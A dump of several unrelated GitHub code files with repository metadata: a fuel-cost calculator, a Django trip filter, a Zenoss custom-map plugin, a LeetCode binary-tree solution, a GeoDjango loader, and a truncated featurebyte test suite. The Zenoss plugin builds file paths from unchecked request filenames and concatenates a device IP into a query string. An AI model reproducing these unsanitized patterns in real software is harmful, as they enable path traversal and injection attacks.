self.distance_via_routes()\n\n        if essence == True: \n            conso_100k = 7.54  #nombre de litre consommé par le véhicule à essence sur 100km  \n            \n        else: \n            conso_100k = 6.11  #nombre de litre consommé par le véhicule disesel sur 100km \n        \n        nb_litre_trajet = (distance * conso_100k) / 100  #nombre de litre consommé par le véhicule sur la distance dist \n        cout_trajet = nb_litre_trajet * prix_essence  #coût du trajet \n        \n        return cout_trajet \n    \n", "repo_name": "AugustinCablant/PyCar", "sub_path": "Modules/CarNetwork.py", "file_name": "CarNetwork.py", "file_ext": "py", "file_size_in_byte": 30715, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 57, "usage_type": "call"}, {"api_name": "pandas.isna", "line_number": 88, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 109, "usage_type": "call"}, {"api_name": "urllib.parse.parse.quote", "line_number": 109, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 109, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 109, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 110, "usage_type": "call"}, {"api_name": "urllib.parse.parse.quote", "line_number": 110, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 110, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 110, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 149, "usage_type": "call"}, {"api_name": "urllib.parse.parse.quote", "line_number": 149, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 149, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 149, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 150, "usage_type": "call"}, {"api_name": "urllib.parse.parse.quote", "line_number": 150, "usage_type": "call"}, {"api_name": "urllib.parse.parse", "line_number": 150, "usage_type": "attribute"}, {"api_name": "urllib.parse", "line_number": 150, "usage_type": "name"}, {"api_name": "pyroutelib3.Router", "line_number": 156, "usage_type": "call"}, {"api_name": "folium.Map", "line_number": 201, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 206, "usage_type": "call"}, {"api_name": "folium.Icon", "line_number": 209, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 215, "usage_type": "call"}, {"api_name": "folium.Icon", "line_number": 218, "usage_type": "call"}, {"api_name": "folium.plugins.AntPath", "line_number": 225, "usage_type": "call"}, {"api_name": "folium.plugins", "line_number": 225, "usage_type": "attribute"}, {"api_name": "folium.plugins.Fullscreen", "line_number": 234, "usage_type": "call"}, {"api_name": "folium.plugins", "line_number": 234, "usage_type": "attribute"}, {"api_name": "folium.plugins.MousePosition", "line_number": 243, "usage_type": "call"}, {"api_name": "folium.GeoJson", "line_number": 266, "usage_type": "call"}, {"api_name": "geopy.distance.distance.distance", "line_number": 319, "usage_type": "call"}, {"api_name": "geopy.distance.distance", "line_number": 319, "usage_type": "attribute"}, {"api_name": "geopy.distance", "line_number": 319, "usage_type": "name"}, {"api_name": "folium.Marker", "line_number": 373, "usage_type": "call"}, {"api_name": "folium.Icon", "line_number": 375, "usage_type": "call"}, {"api_name": "geopy.distance.geodesic", "line_number": 423, "usage_type": "call"}, {"api_name": "folium.Marker", "line_number": 488, "usage_type": "call"}, {"api_name": "folium.Icon", "line_number": 490, "usage_type": "call"}, {"api_name": "geopandas.read_file", "line_number": 540, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 549, "usage_type": "call"}, {"api_name": "folium.Element", "line_number": 622, "usage_type": "call"}, {"api_name": "folium.RegularPolygonMarker", "line_number": 637, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 648, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 649, "usage_type": "call"}, {"api_name": "os.path", "line_number": 649, "usage_type": "attribute"}, {"api_name": "pandas.read_excel", "line_number": 651, "usage_type": "call"}, {"api_name": "folium.Map", "line_number": 663, "usage_type": "call"}, {"api_name": "folium.PolyLine", "line_number": 674, "usage_type": "call"}]}
{"seq_id": "6156723342", "text": "from django.db.models import Q, Value\nfrom django.db.models.functions import Concat\n\nimport django_filters\nfrom django_filters import widgets\n\n\nclass ViagemFilter(django_filters.FilterSet):\n    ORDENACAO_CHOICES = (\n        ('asc','Ascendente'),\n        ('desc', 'Decrescente'),\n    )\n\n    titulo = django_filters.CharFilter(\n        label= 'Título', field_name='titulo', lookup_expr='icontains'\n    )\n    localidade = django_filters.CharFilter(\n        label= 'Localidade', field_name='localidade', lookup_expr='icontains'\n    )\n    user = django_filters.CharFilter(\n        label= 'Viajante', method='filter_user_name'\n    )\n    data_postado = django_filters.DateFromToRangeFilter(\n        label='Período',\n        widget=widgets.RangeWidget(attrs={'type': 'date'})\n    )\n    \n    ordenacao = django_filters.ChoiceFilter(\n        label='Ordenação',\n        choices = ORDENACAO_CHOICES,\n        method='filter_order_created'\n    )\n\n    def filter_order_created(self, queryset, name, value):\n        \"\"\" Ordenação de viagem por criação \"\"\"\n        expression = 'id' if value == 'asc' else '-id'\n        return queryset.order_by(expression)\n\n    def filter_user_name(self, queryset, name, value):\n        \"\"\" Filtro por primeiro, último e nome completo \"\"\"\n        queryset = queryset.annotate(\n            full_name=Concat('user__first_name', Value(' '), 'user__last_name')\n        )\n        return queryset.filter(\n            Q(user__first_name__icontains=value) | \n            Q(user__last_name__icontains=value)  |\n            Q(full_name__icontains=value)            \n        )", "repo_name": "AyrtonMoises/turismo_shared", "sub_path": "viagens/filters.py", "file_name": "filters.py", "file_ext": "py", "file_size_in_byte": 1591, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django_filters.FilterSet", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django_filters.CharFilter", "line_number": 14, "usage_type": "call"}, {"api_name": "django_filters.CharFilter", "line_number": 17, "usage_type": "call"}, {"api_name": "django_filters.CharFilter", "line_number": 20, "usage_type": "call"}, {"api_name": "django_filters.DateFromToRangeFilter", "line_number": 23, "usage_type": "call"}, {"api_name": "django_filters.widgets.RangeWidget", "line_number": 25, "usage_type": "call"}, {"api_name": "django_filters.widgets", "line_number": 25, "usage_type": "name"}, {"api_name": "django_filters.ChoiceFilter", "line_number": 28, "usage_type": "call"}, {"api_name": "django.db.models.functions.Concat", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models.Value", "line_number": 42, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 45, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 46, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "27032742831", "text": "import os\nimport logging\nimport Globals\nimport xml.etree.ElementTree as etree\nfrom Products.Five.browser import BrowserView\nfrom Products.Five.browser.pagetemplatefile import ViewPageTemplateFile\nfrom Products.ZenUtils.Utils import zenPath\n\n_log = logging.getLogger('zen.ZenCustomMap')\n_resDir = os.path.join(os.path.dirname(__file__), 'resources')\n\nclass ZenCustomMap(BrowserView):\n    __call__ = ViewPageTemplateFile('./skins/ZenPacks.Darkemon.ZenCustomMap/viewZenCustomMap.pt')\n\n\nclass ZenCustomMapData(BrowserView):\n\n    # Set a log file.\n    import logging.handlers\n    logFilename = zenPath('log', 'zenCustomMap.log')\n    maxBytes = 10 * 1024\n    backupCount = 3\n    handler = logging.handlers.RotatingFileHandler(\n        logFilename, maxBytes=maxBytes, backupCount=backupCount)\n    handler.setFormatter(logging.Formatter(\n        \"%(asctime)s %(levelname)s %(name)s: %(message)s\",\"%Y-%m-%d %H:%M:%S\"))\n    _log.addHandler(handler)\n\n    def __call__(self):\n        action = self.request.form['action']\n\n        if action == \"get_config\":\n\n            mapId = self.request.form['map_id']\n            self.request.response.write(self._getConfig(\"map\",mapId))\n\n        elif action == \"get_mainconfig\":\n\n            self.request.response.write(self._getConfig(\"main\"))\n\n        elif action == \"save_config\":\n\n            config = self.request.form['config']\n            mapId = self.request.form['map_id']\n            self.request.response.write(self._saveConfig(\"map\",config,mapId))\n\n        elif action == \"save_mainconfig\":\n\n            config = self.request.form['config']\n            self.request.response.write(self._saveConfig(\"main\",config))\n\n        elif action == \"delete_map\":\n\n            mapId = self.request.form['map_id']\n            self.request.response.write(self._deleteMap(mapId))\n\n        elif action == \"upload_background\":\n\n            image = self.request.form['Filedata']\n            filename = self.request.form['filename']\n            self._uploadImage(\"background\", image, filename)\n\n        elif action == \"download_background\":\n\n            filename = self.request.form['filename']\n            self.request.response.write(\n                self._downloadImage(\"background\", filename))\n\n        elif action == \"delete_background\":\n\n            filename = self.request.form['filename']\n            self.request.response.write(\n                self._deleteImage(\"background\", filename))\n\n        elif action == \"upload_nodeimage\":\n\n            image = self.request.form['Filedata']\n            filename = self.request.form['Filename']\n            self._uploadImage(\"node\",image,filename)\n\n        elif action == \"download_nodeimage\":\n\n            try:\n                filename = self.request.form['filename']\n            except:\n                filename = None\n            self.request.response.write(self._downloadImage(\"node\", filename))\n\n        elif action == \"delete_nodeimage\":\n\n            filename = self.request.form['filename']\n            self.request.response.write(self._deleteImage(\"node\",filename))\n\n        elif action == \"get_devicelist\":\n\n            self.request.response.write(self._getDeviceList())\n\n        elif action == \"get_devicesevents\":\n\n            deviceList = self.request.form['devicelist']\n            self.request.response.write(self._getDevicesEvents(deviceList))\n\n        elif action == \"get_testdata\":\n\n            self.request.response.write(self._getTestData())\n\n    ##\n    # Return map config.\n    # If config map is not exist, then return default config\n    # map with specified 'mapId'.\n    #\n    def _getConfig(self, confType, mapId=-1):\n        if confType == \"main\":\n            confPath = _resDir + \"/xml/zenmap.xml\"\n        elif confType == \"map\":\n            confPath = _resDir + \"/xml/map\"+str(mapId)+\".xml\"\n\n        output = \"\"\n        try:\n            f = open(confPath, 'r')\n            for line in f: output = output + line\n            f.close()\n        except:\n            if confType == \"map\": return self._defaultMap(mapId)\n\n        return output\n\n    ##\n    # Save on server map config.\n    #\n    def _saveConfig(self, confType, config, mapId=-1):\n        if confType == \"main\":\n            confPath = _resDir + \"/xml/zenmap.xml\"\n        elif confType == \"map\":\n            confPath = _resDir + \"/xml/map\"+mapId+\".xml\"\n\n        try:\n            os.remove(confPath)\n        except:\n            pass\n        try:\n            f = open(confPath, 'w')\n            f.writelines(config)\n            f.close()\n            result = \"1\"\n        except:\n            result = \"0\"\n        return result\n\n    ##\n    # Delete map config and his background.\n    #\n    def _deleteMap(self, mapId):\n        confPath = _resDir + \"/xml/map\"+mapId+\".xml\"\n        imgPath = _resDir + \"/img/backgrounds/background\"+str(mapId)+\".img\"\n        try: os.remove(confPath)\n        except: pass\n\n        try: os.remove(imgPath)\n        except: pass\n        return \"\"\n\n    ##\n    # Return list of all devices.\n    #\n    def _getDeviceList(self):\n        devices = self.context.zport.dmd.Devices.getSubDevices()\n\n        data = {}\n        for dev in devices:\n            if data.has_key(dev.getDeviceClassPath()):\n                devList = data[dev.getDeviceClassPath()]\n            else:\n                devList = []\n            devData = {}\n            devData['name'] = dev.name()\n            devData['ip'] = dev.getManageIp()\n            devList.append(devData)\n            data[dev.getDeviceClassPath()] = devList\n\n\n        root = etree.Element(\"classes\")\n        for k,v in data.items():\n            devClass = etree.Element(\"class\")\n            devClass.set(\"path\", k)\n            for dev in v:\n                devName = etree.Element(\"device\")\n                devName.text = dev['name']\n                devName.set(\"ip\", dev['ip'])\n                devClass.append(devName)\n            root.append(devClass)\n        return etree.tostring(root)\n\n    ##\n    # Save image on server.\n    #\n    def _uploadImage(self, imgType, image, filename):\n        if imgType == \"background\":\n            imgPath = _resDir + \"/img/backgrounds/\"+filename\n        elif imgType == \"node\":\n            imgPath = _resDir + \"/img/nodes/\"+filename\n\n        try:\n            os.remove(imgPath)\n        except:\n            pass\n        f = open(imgPath, 'w')\n        f.writelines(image)\n        f.close()\n        return \"\"\n\n    ##\n    # Return image.\n    #\n    def _downloadImage(self, imgType, filename):\n        \"\"\" Return the image.\n            If imgType is 'node', then if filename not specified,\n            return list of all name images.\n        \"\"\"\n\n        if imgType == \"background\":\n            imgPath = _resDir + \"/img/backgrounds/\"+filename\n        elif imgType == \"node\":\n            imgPath = _resDir + \"/img/nodes/\"\n\n            if filename is None:\n                root = etree.Element(\"images\")\n                for fname in os.listdir(imgPath):\n                    imageNode = etree.Element(\"image\")\n                    imageNode.text = fname\n                    root.append(imageNode)\n                return etree.tostring(root)\n            else: imgPath += filename\n\n        image = \"\"\n        try:\n            f = open(imgPath, 'r')\n            for line in f: image = image + line\n            f.close()\n        except:\n            pass\n        return image\n\n    ##\n    # Delete image from server.\n    #\n    def _deleteImage(self, imgType, filename):\n        if imgType == \"background\":\n            imgPath = _resDir + \"/img/backgrounds/\"+filename\n        elif imgType == \"node\":\n            imgPath = _resDir + \"/img/nodes/\"+filename\n\n        try:\n            os.remove(imgPath)\n        except:\n            pass\n        return \"\"\n\n    ##\n    # Return events severity for specified devices.\n    #\n    def _getDevicesEvents(self, deviceList):\n\n        def addElementToXML(xmlRoot, nodeId, sev, msg=\"\", ip=None):\n            if not ip is None:\n                if self.context.zport.dmd.Devices.findDevice(ip) is None:\n                    sev = 5\n                    msg = \"Device not found!\"\n            dev = etree.Element(\"device\")\n            dev.set(\"id\", str(nodeId))\n            dev.set(\"severity\", str(sev))\n            dev.text = str(msg)\n            xmlRoot.append(dev)\n\n        def getMaxEventSeverity(dev):\n            maxSeverity = 0\n\n            # if device\n            if type(dev) == type(\"\"):\n                checkExistDevice(dev)\n                eventsList = self.context.zport.dmd.ZenEventManager.\\\n                        getEventList(where=\"ipAddress='\"+dev+\"'\")\n\n                for e in eventsList:\n                    if e.severity >= 3 and e.severity > maxSeverity:\n                        maxSeverity = e.severity\n                return maxSeverity\n\n            # if list of devices\n            if type(dev) == type({}):\n                for devId, devIp in devList.items():\n                    if self.context.zport.dmd.Devices.findDevice(devIp) is None:\n                        return 5\n                    else:\n                        sev = getMaxEventSeverity(devIp)\n                        if sev >= 3 and sev > maxSeverity:\n                            maxSeverity = sev\n                return maxSeverity\n\n        def checkExistDevice(ip):\n            r = self.context.zport.dmd.Devices.findDevice(ip)\n            if r is None: return False\n            else: True\n\n        #\n        # Main block.\n        #\n        try:    xml = etree.fromstring(deviceList)\n        except: _log.error(str(deviceList))\n\n        root = etree.Element(\"devices_events\")\n        for dev in xml:\n            if dev.get(\"type\") == \"submap\":\n                devList = self._getMapsDevices(dev.text)\n                if devList is None:\n                    addElementToXML(root, dev.get(\"id\"), 5, \"Map not found!\")\n                else:\n                    addElementToXML(root, dev.get(\"id\"), getMaxEventSeverity(devList), \"\")\n            else:\n                addElementToXML(root, dev.get(\"id\"), getMaxEventSeverity(dev.text), \"\", dev.text)\n\n        return etree.tostring(root)\n\n    ##\n    # Create default map config.\n    #\n    def _defaultMap(self, mapId):\n        root = etree.Element(\"map\")\n\n        child = etree.Element(\"uid\") # Add 'map' child.\n        child.text = str(mapId)\n        root.append(child)\n\n        child = etree.Element(\"x\") # Add 'x' child.\n        child.text = \"0\"\n        root.append(child)\n\n        child = etree.Element(\"y\") # Add 'y' child.\n        child.text = \"0\"\n        root.append(child)\n\n        child = etree.Element(\"zoom_index\") # Add 'zoom_index' child.\n        child.text = \"3\"\n        root.append(child)\n\n        child = etree.Element(\"line_width\") # Add 'line_width' child.\n        child.text = \"1\"\n        root.append(child)\n\n        child = etree.Element(\"line_color\") # Add 'line_color' child.\n        child.text = \"0\"\n        root.append(child)\n\n        child = etree.Element(\"refresh\") # Add 'refresh' child.\n        child.text = \"300\"\n        root.append(child)\n\n        child = etree.Element(\"back_image\") # Add 'back_image' child.\n        child.text = \"false\"\n        root.append(child)\n\n        child = etree.Element(\"nodes\") # Add 'nodes' child.\n        root.append(child)\n\n        child = etree.Element(\"edges\") # Add 'edges' child.\n        root.append(child)\n\n        return etree.tostring(root)\n\n    ##\n    # Get devices list of the map.\n    # Type of devices is 'node' only.\n    #\n    def _getMapsDevices(self, mapId):\n        # Check map.\n        xmlMainConf = self._getConfig(\"main\")\n        xml = etree.fromstring(xmlMainConf)\n        maps = xml.find(\"maps\")\n        mapExist = False\n        for m in maps:\n            uid = m.get(\"uid\")\n            if uid == mapId: mapExist = True\n        if not mapExist: return None\n\n        # Get device list.\n        xmlMapConf = self._getConfig(\"map\", mapId)\n        xml = etree.fromstring(xmlMapConf)\n\n        result = {}\n        nodes = xml.find(\"nodes\")\n        for node in nodes:\n            if node.find(\"type\").text == \"node\":\n                nodeId = node.get(\"id\")\n                nodeIp = node.find(\"ip\").text\n                result[nodeId] = nodeIp\n\n        return result\n\n    ##\n    # For testing.\n    #\n    def _getTestData(self):\n        return \"1\"\n", "repo_name": "maulanarf/zen-custom-map", "sub_path": "ZenPack/ZenPacks/Darkemon/ZenCustomMap/ZenCustomMap.py", "file_name": "ZenCustomMap.py", "file_ext": "py", "file_size_in_byte": 12222, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 10, "usage_type": "call"}, {"api_name": "Products.Five.browser.BrowserView", "line_number": 12, "usage_type": "name"}, {"api_name": "Products.Five.browser.pagetemplatefile.ViewPageTemplateFile", "line_number": 13, "usage_type": "call"}, {"api_name": "Products.Five.browser.BrowserView", "line_number": 16, "usage_type": "name"}, {"api_name": "Products.ZenUtils.Utils.zenPath", "line_number": 20, "usage_type": "call"}, {"api_name": "logging.handlers.RotatingFileHandler", "line_number": 23, "usage_type": "call"}, {"api_name": "logging.handlers", "line_number": 23, "usage_type": "attribute"}, {"api_name": "logging.Formatter", "line_number": 25, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 138, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 156, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 159, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 182, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 182, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 184, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 184, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 187, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 187, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 192, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 192, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 204, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 227, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 227, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 228, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 229, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 229, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 232, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 232, "usage_type": "name"}, {"api_name": "os.remove", "line_number": 254, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 269, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 269, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree", "line_number": 308, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 308, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 311, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 311, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree", "line_number": 312, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 322, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 322, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 328, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 328, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 330, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 330, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 334, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 334, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 338, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 338, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 342, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 342, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 346, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 346, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 350, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 350, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 354, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 354, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 358, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 358, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 362, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 362, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.Element", "line_number": 365, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 365, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.tostring", "line_number": 368, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 368, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree", "line_number": 377, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 377, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.find", "line_number": 378, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 378, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree", "line_number": 387, "usage_type": "name"}, {"api_name": "xml.etree.ElementTree.fromstring", "line_number": 387, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree.find", "line_number": 390, "usage_type": "call"}, {"api_name": "xml.etree.ElementTree", "line_number": 390, "usage_type": "name"}]}
{"seq_id": "15210426749", "text": "\"\"\"\n\n958. 二叉树的完全性检验\n给定一个二叉树的 root ，确定它是否是一个 完全二叉树 。\n\n在一个 完全二叉树 中，除了最后一个关卡外，所有关卡都是完全被填满的，并且最后一个关卡中的所有节点都是尽可能靠左的。它可以包含 1 到 2h 节点之间的最后一级 h 。\n\n\n\n示例 1：\n\n     1\n  2    3\n4  5  6\n\n输入：root = [1,2,3,4,5,6]\n输出：true\n解释：最后一层前的每一层都是满的（即，结点值为 {1} 和 {2,3} 的两层），且最后一层中的所有结点（{4,5,6}）都尽可能地向左。\n\n\n示例 2：\n     1\n  2    3\n4  5    7\n\n\n输入：root = [1,2,3,4,5,null,7]\n输出：false\n解释：值为 7 的结点没有尽可能靠向左侧。\n\n\n提示：\n\n树的结点数在范围  [1, 100] 内。\n1 <= Node.val <= 1000\n\n\"\"\"\n\nfrom typing import Optional\n\n# Definition for a binary tree node.\nclass TreeNode:\n    def __init__(self, val=0, left=None, right=None):\n        self.val = val\n        self.left = left\n        self.right = right\n\n    def __repr__(self):\n        return f\"<{self.val}>\"\n\n\n\"\"\"\n广度优先遍历二叉树，完全二叉树需要满足如下两个条件：\n1. 如果一个节点只有一个子节点，一旦出现有右无左，返回 False\n2. 如果一旦出现一个节点子节点小于等于1，则后面遍历的所有节点一定都是叶子点，\n否则返回 False\n\"\"\"\n\n\nclass Solution:\n    def isCompleteTree(self, root: Optional[TreeNode]) -> bool:\n        queue = [root]\n        flag = False\n\n        while queue:\n            cur = queue.pop(0)\n            L = cur.left\n            R = cur.right\n            if flag and (L is not None or R is not None):\n                return False\n\n            if L is None and R is not None:\n                return False\n\n            if L is None or R is None:\n                flag = True\n\n            if L:\n                queue.append(L)\n            if R:\n                queue.append(R)\n\n        return True\n\n\nimport unittest\n\n\nclass TestSolution(unittest.TestCase):\n    def setUp(self):\n        self.sl = Solution()\n\n    def test_sl(self):\n        #      1\n        #   2    3\n        #       7  8\n\n        n1 = TreeNode(1)\n        n2 = TreeNode(3)\n        n2.left = TreeNode(7)\n        n2.right = TreeNode(8)\n\n        n1.left = TreeNode(2)\n        n1.right = n2\n\n        root = n1\n\n        # self.assertEqual(self.sl.isCompleteTree(root), False)\n\n        #      1\n        #   2    3\n        # 4  5  6\n\n        n1 = TreeNode(1)\n        n2 = TreeNode(2)\n        n2.left = TreeNode(4)\n        n2.right = TreeNode(5)\n        n3 = TreeNode(3)\n        n1.left = n2\n        n1.right = n3\n        n3.left = TreeNode(6)\n        root = n1\n\n        self.assertEqual(self.sl.isCompleteTree(root), True)\n\n        #      1\n        #   2    3\n        # 4  5    7\n\n        n1 = TreeNode(1)\n        n2 = TreeNode(2)\n        n2.left = TreeNode(4)\n        n2.right = TreeNode(5)\n        n3 = TreeNode(3)\n        n3.right = TreeNode(7)\n        n1.left = n2\n        n1.right = n3\n        root = n1\n\n        self.assertEqual(self.sl.isCompleteTree(root), False)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n", "repo_name": "shiyang07ca/lab", "sub_path": "algo/oj/leetcode/958_check_completeness_of_a_binary_tree.py", "file_name": "958_check_completeness_of_a_binary_tree.py", "file_ext": "py", "file_size_in_byte": 3170, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "typing.Optional", "line_number": 61, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 89, "usage_type": "attribute"}, {"api_name": "unittest.main", "line_number": 144, "usage_type": "call"}]}
{"seq_id": "17139729724", "text": "# states: county10, cousub \n# county: roads, linearwater\nfrom os import getenv, path\nfrom django.contrib.gis.utils import LayerMapping\nfrom django.contrib.gis.gdal import SpatialReference\nfrom tiger.models import County, State\n\nextract_dir = path.join(getenv('HOME'), 'travis_demo')\ncounty_src = path.join(extract_dir,'tl_rd13_48_county10.shp')\nstate_src = path.join(extract_dir, 'tl_rd13_us_state10.shp')\nsrs = SpatialReference(4269)\n\nload_tups = [\n    (County, county_src),\n    (State, state_src)\n]\n\nfor model, src in load_tups:\n    lm = LayerMapping(model, src, model.mapping, source_srs=srs)\n    lm.save(verbose=True)\n", "repo_name": "abresee/geoaggregate", "sub_path": "tiger/load.py", "file_name": "load.py", "file_ext": "py", "file_size_in_byte": 622, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.join", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "name"}, {"api_name": "os.getenv", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "name"}, {"api_name": "django.contrib.gis.gdal.SpatialReference", "line_number": 11, "usage_type": "call"}, {"api_name": "tiger.models.County", "line_number": 14, "usage_type": "name"}, {"api_name": "tiger.models.State", "line_number": 15, "usage_type": "name"}, {"api_name": "django.contrib.gis.utils.LayerMapping", "line_number": 19, "usage_type": "call"}]}
{"seq_id": "12031774871", "text": "\"\"\"\nTests for Context route\n\"\"\"\nfrom http import HTTPStatus\nfrom unittest import mock\n\nimport pytest\nfrom bson.objectid import ObjectId\n\nfrom featurebyte.models import EntityModel\nfrom featurebyte.models.entity import ParentEntity\nfrom tests.unit.routes.base import BaseCatalogApiTestSuite\n\n\nclass TestContextApi(BaseCatalogApiTestSuite):\n    \"\"\"\n    TestContextApi class\n    \"\"\"\n\n    class_name = \"Context\"\n    base_route = \"/context\"\n    payload = BaseCatalogApiTestSuite.load_payload(\"tests/fixtures/request_payloads/context.json\")\n    unknown_id = ObjectId()\n    create_conflict_payload_expected_detail_pairs = [\n        (payload, f'Context (id: \"{payload[\"_id\"]}\") already exists.')\n    ]\n    create_unprocessable_payload_expected_detail_pairs = [\n        (\n            {\"name\": \"some_context\"},\n            [\n                {\n                    \"loc\": [\"body\", \"primary_entity_ids\"],\n                    \"msg\": \"field required\",\n                    \"type\": \"value_error.missing\",\n                }\n            ],\n        ),\n        (\n            {**payload, \"primary_entity_ids\": [str(unknown_id)]},\n            f'Entity (id: \"{unknown_id}\") not found. Please save the Entity object first.',\n        ),\n    ]\n    update_unprocessable_payload_expected_detail_pairs = [\n        (\n            {\"graph\": {\"nodes\": [], \"edges\": []}},\n            [\n                {\n                    \"loc\": [\"body\", \"__root__\"],\n                    \"msg\": \"graph & node_name parameters must be specified together.\",\n                    \"type\": \"value_error\",\n                }\n            ],\n        ),\n        (\n            {\"node_name\": \"random_node\"},\n            [\n                {\n                    \"loc\": [\"body\", \"__root__\"],\n                    \"msg\": \"graph & node_name parameters must be specified together.\",\n                    \"type\": \"value_error\",\n                }\n            ],\n        ),\n        (\n            {\"graph\": {\"nodes\": [], \"edges\": []}, \"node_name\": \"input_1\"},\n            [\n                {\n                    \"loc\": [\"body\", \"__root__\"],\n                    \"msg\": \"node_name not exists in the graph.\",\n                    \"type\": \"value_error\",\n                }\n            ],\n        ),\n    ]\n\n    def pytest_generate_tests(self, metafunc):\n        \"\"\"Parametrize fixture at runtime\"\"\"\n        super().pytest_generate_tests(metafunc)\n        if 